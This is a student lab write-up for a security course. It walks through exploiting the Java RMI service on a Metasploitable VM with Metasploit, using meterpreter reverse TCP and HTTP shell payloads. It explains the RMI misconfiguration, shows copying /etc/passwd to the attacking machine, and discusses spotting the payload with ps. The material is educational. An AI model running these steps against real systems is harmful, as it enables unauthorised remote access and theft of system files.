Authors: Anders Shenholm & Riaz Kelly

Part 2 Answers:

1. **Simple, step-by-step instructions on how to perform the exploit with each of your chosen payloads. This might be a list of command-line commands, or a sequence of screenshots, etc. Shoot for clear, easy-to-follow instructions.**

- Set up an msfconsole as described in part 1, so that when you run $msfconsole in the command line you receive a “msf6 >” prompt
- Run $“msfconsole”
- Run msf6 > “use exploit/multi/misc/java_rmi_server”. This should set a default payload: “java/meterpreter/reverse_tcp” and give the command line prompt: “exploit(multi/misc/java_rmi_server) >”
- Once the exploit is running, run “options” in the command line.
- Run “set RHOSTS [ip of target host]” - the other required options should be set by default.
- Optional: If not using the default payload, run “show payloads” to display a list of payloads. Choose on payload from the list and run “set payload [chosen payload]”
- Run “exploit”, then you should be in a session on metasploitable in the root directory (pwd returns “/”)

2. **An explanation of how the exploit works. Not "Metasploit's X/Y/Z module does magic, and you get a shell!" Rather, you need to do the research on how the exploit in question takes advantage of some bug or misconfiguration on the target machine, and then share that research with me briefly and clearly, with citations as appropriate.**

Java RMI stands for Remote Method Invocation. RMI allows for objects inside of one Java virtual machine to access and call methods in another Java virtual machine. In our case, Kali is used to access Metasploitable. RMI has a feature that allows the user to load classes from any URL. RMI usually communicates with a client server relationship. Again, in our case, Kali is the client and Metasploitable is the server. If the RMI server on a machine has the default configuration, then it is insecure and will not require any authentication. Then, we can send

Metasploitable's RMI server our custom URL which will contain our payload and give us access to their system and files.
Sources:
https://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EXPLOIT/lesson5/,
https://null-byte.wonderhowto.com/how-to/exploit-java-remote-method-invocation-get-root-0187685/

3. **A brief description of each payload you tried out, and an explanation of how they differ.**

- java/meterpreter/reverse_tcp:
    - This payload contains a reverse shell script that establishes a tcp connection from victim to attacker. It then gives the attacker access to the victim file system via the meterpreter command line language
- java/meterpreter/reverse_http
    - This payload functions the same as the last, but connects victim to attacker via http protocols. It results in the attacker accessing the root of the victim's file system, using meterpreter

4. **A brief description of how you managed to transfer /etc/passwd to your attacking machine**

Once in the root of the metasploitable file system, run "download /etc/passwd". This will make a copy of /etc/passwd on the Kali user directory.

https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/

Part 3 Answers:

We can see our activity using the ps command. The victim (a user on Metasploitable) can type "ps -A" at the command–line and will be able to view all processes. They can also type "ps -r" to view all running processes. In the output, we will see that our payload is being run. We were unable to log into Metasploitable and couldn't figure out why. This meant we couldn't test

the “ps -r” command but we assumed that it would output a list of running processes and we would see a reference to Java RMI.

Part 4 Answers:

We thought it was cool to see rsh and rexec as an open port on Metasploitable because The Morris Worm attack utilized a bug inside of rsh and rexec (our video was about Morris Worm). We looked into whether rsh and rexec could be exploited but couldn’t find any exploits. Though we aren’t sure if rsh and rexec are just basic, built–in functions of Linux/Unix, it was cool to see the connection between The Morris Worm attack and this assignment.